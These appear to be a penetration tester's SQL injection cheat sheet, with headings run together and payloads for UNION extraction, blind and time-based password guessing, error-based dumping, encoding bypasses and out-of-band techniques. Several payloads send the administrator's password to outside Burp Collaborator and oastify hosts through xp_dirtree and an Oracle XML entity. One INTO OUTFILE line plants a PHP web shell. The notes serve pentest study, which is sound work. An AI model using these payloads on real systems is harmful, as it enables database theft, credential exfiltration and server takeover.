Portswigger Cheat Sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet
PentestMonkey Cheat Sheet: https://pentestmonkey.net/category/cheat-sheet/sql-injection
What is SQL injection
https://insecure-website.com/products?category=Gifts -> SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Gifts'-- to get the same data)Places to look for SQL injection
* to indicate where to injectsqlmap -u {endpoint} --cookie "{vulnerable_cookie}=*" --dbsUNION attacks
UNION allows executing an additional SELECT query and appending results to the original
SELECT a, b FROM table1 UNION SELECT c, d FROM table2 will return values from a and b in table1 and values c and d from table2--, #, -- //, # //, etc.' ORDER BY 1--, ' ORDER BY 2--, and so on to see how many columns exist' UNION SELECT NULL, NULL, NULL, {etc}-- for the same purpose - NULL is convertible to every common data type' UNION SELECT 'a', NULL, NULL, {etc}-- to find which columns allow stringsLIMIT to limit the number of results and OFFSET to offset which to select from the database
' UNION SELECT username,password FROM users LIMIT 999 OFFSET 0-- would give enough space (999) and set the offset at 0, appending the entire table onto the result' UNION SELECT username || password FROM users--Examining the Database
SELECT @@versionSELECT * FROM v$version
SELECT query in Oracle requires the FROM keyword - DUAL can be used as an always-valid table' UNION SELECT NULL FROM DUAL---- or # for commentsSELECT version()information_schema.tables contains table information
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPESELECT * FROM information_schema.columns WHERE table_name = 'Users' does the trick
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPEVerbose Error Message SQL Injection
CAST is a useful tool for dumping column data in error messages
CAST((SELECT example_column FROM example_table) AS int) will yield something like Invalid syntax: "{column_data} is not an integer"' AND 1=CAST((SELECT username FROM users LIMIT 1) as int)-- (check if 1 = integer of string data)Blind SQL Injection
' AND '1'='1
' AND '1'='2 to procure an error' AND (SELECT 'a' FROM information_schema.columns WHERE table_name='users' LIMIT 1)='a to see if there is a user table (a = a if users exists)' AND (SELECT 'a' FROM information_schema.columns WHERE table_name='users' AND column_name='username' LIMIT 1)='a to see if there is a “username” column' AND (SELECT 'a' FROM users WHERE username='administrator')='a to see if there is an “administrator” user' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a to see if the first letter of the administrator’s password is “a”
(password,1,1) to (password,2,1) to check the second character' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
SUBSTR with some databases - refer to cheat sheet'; IF (1=2) WAITFOR DELAY '0:0:10'--'; IF (1=1) WAITFOR DELAY '0:0:10'--'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--Error-based SQL Injection
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a will evaluate to true' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a will evaluate to false' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) = 'a') THEN 1/0 ELSE 'a' END FROM users)='a
' AND (SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='0') THEN 'a' ELSE TO_CHAR(1/0) END FROM dual)='a> 'm' if accepted by the databaseOAST Techniques
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--UNION, ;, etc.
+, ? marks as %3f, = as %3d, % as %25, : as %3a, and ; as %3b'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username='administrator')||'.wee8xnrdltcmbp86tyzupzx5lwrnff34.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--Bypassing Defenses
\ as the first parameter can actually unlock an apostrophe to use as part of the second payloadOther Techniques
// to provide visibility on the payload and protect against whitespace truncationIN to inject arbitrary second command:
' OR 1=1 IN (SELECT version()) -- //' OR 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //SELECT * FROM rooms WHERE room_id = 1; uses no quotesINTO OUTFILE to create a PHP/JSP/ASPX/etc shell
' UNION SELECT "<?php system('whoami');?>", null, null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //
tmp is important, because we might not have perms for /htmlAdmin and admin are different users within the application, we could register Admin as a user, which could be functionally treated the same on the backend and provided the same admin functionality